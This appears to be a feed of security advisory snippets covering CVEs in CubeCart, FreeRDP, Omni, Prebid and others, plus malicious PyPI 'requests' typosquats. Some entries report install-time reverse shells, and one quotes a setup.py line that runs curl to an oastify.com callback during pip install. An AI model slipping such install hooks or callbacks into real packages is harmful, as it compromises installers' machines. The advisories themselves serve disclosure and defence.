EulerOS 2.0 SP10 : python-requests (EulerOS-SA-2026-3764)

According to the versions of the python-requests packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : Requests is a HTTP library. Prior to 2.32.0, when making requests through a Requests Session, if the first request is made with...

Fortinet Fortigate Null Pointer Dereference in Log Report (FG-IR-26-173)

The version of Fortigate installed on the remote host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the FG-IR-26-173 advisory. - A NULL Pointer Dereference vulnerability CWE-476 vulnerability in Fortinet FortiOS 7.4 all versions, FortiOS 7.2 all...

Malicious code in requests-auroras (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 afa39517de816c01400eef99ef6ebce1357910c217c5e0ff55e4a252ea15a4c5 During installation, package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

MAL-2026-16274 Malicious code in requests-auroras (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 afa39517de816c01400eef99ef6ebce1357910c217c5e0ff55e4a252ea15a4c5 During installation, package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

MAL-2026-16275 Malicious code in requests-triwes (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 fa01be0759de95b7a1628930718f7b3bf372eff0c777aace419196e327e77078 During installation, package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

Malicious code in requests-triwes (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 fa01be0759de95b7a1628930718f7b3bf372eff0c777aace419196e327e77078 During installation, package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

MAL-2026-16269 Malicious code in requests-asetwe (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5 setup.py of requests-asetwe unconditionally executes os.system'curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com' during pip install. The...

Malicious code in requests-asetwe (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5 setup.py of requests-asetwe unconditionally executes os.system'curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com' during pip install. The...

EUVD-2026-82530

CubeCart is an ecommerce software solution. Prior to 6.7.5, the resetid download-counter action and deletecard stored-payment-card action in admin/sources/orders.index.inc.php use state-changing GET requests and are omitted from the protection map in admin/skins/default/csrf.inc.php. A remote...

CVE-2026-54642

CubeCart (ecommerce software) versions prior to 6.7.5 contain a CSRF vulnerability in the admin panel. The reset_id (download-counter reset) and delete_card (stored payment-card deletion) actions in admin/sources/orders.index.inc.php use state-changing GET requests that are omitted from the CSRF ...

CVE-2026-54565 rhwp browser extension performs SSRF / private-network requests and leaks HWP preview data to untrusted pages

rhwp is an HWP viewer and editor implemented in Rust and WebAssembly. Prior to rhwp 0.7.15 and rhwp Chrome and Firefox extension 0.2.4, the browser extensions use an all-URLs host permission to detect HWP and HWPX links on visited pages, but the service workers do not validate message senders, UR...

CVE-2026-45720

Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. Prior to 1.6.6 and from 1.7.0 until 1.7.3, SAML.getSession in internal/pkg/auth/interceptor/saml.go checks SAMLAssertion.Used and marks it used in separate state operations. Concurrent requests carrying the same captured...

FreeRDP: FreeRDP: Denial of Service via crafted smartcard cache requests

A flaw was found in FreeRDP. When smartcard emulation is enabled, a remote attacker can send specially crafted smartcard cache requests to a FreeRDP client. This can lead to a null pointer dereference, causing the client process to terminate and disrupting active remote desktop sessions...

FreeRDP: FreeRDP: Denial of Service via crafted smartcard cache requests

A flaw was found in FreeRDP. When smartcard emulation is enabled, a remote attacker can send specially crafted smartcard cache requests to a FreeRDP client. This can lead to a null pointer dereference, causing the client process to terminate and disrupting active remote desktop sessions...

EUVD-2026-81720

In the Linux kernel, the following vulnerability has been resolved: virtio: rtc: time out alarm requests RTC class operations run with rtcdevice.opslock held. The virtio RTC alarm requests currently wait without a timeout for the device to return their requestq buffers. On surprise removal,...

HTTP Request Smuggling

Overview Affected versions of this package are vulnerable to HTTP Request Smuggling in the HTTP/1.1 request parsing process. An attacker can cause the server to interpret leftover bytes in the connection buffer as a new, unintended HTTP request by sending specially crafted chunked requests with...

CVE-2026-25278

CVE-2026-25278 is a TOCTOU race condition in Qualcomm's automotive software platform based on QNX . The vulnerability occurs during I2C transfer request processing , where a race between memory allocation and data copying leads to memory corruption . The CVSS v3.1 score is 7.8 (High) with a local...

The vulnerability in the application software interface of the Cisco Identity Services Engine (ISE) management platform allows a perpetrator to bypass existing security mechanisms and gain unauthorized access to protected information.

The vulnerability of the application programming interface of the Cisco Identity Services Engine ISE management platform is related to errors that occur when privileged application programming interfaces are used. Exploiting this vulnerability can allow a malicious actor to bypass existing securi...

PT-2026-94145

Name of the Vulnerable Software and Affected Versions The product name cannot be determined affected versions not specified Description Memory corruption occurs during the processing of I2C transfer requests. This issue is caused by a race condition, which is a situation where the timing or order...

CVE-2026-54734: Server-Side Request Forgery (SSRF)

Prebid Server Java is the Java version of Prebid Server. Prior to 3.43.0, certain bidder adapters interpolate user-supplied parameters into outbound request URLs without using HttpUtil to validate the resulting domain or path segment. A malicious actor who can supply bid-request parameters can...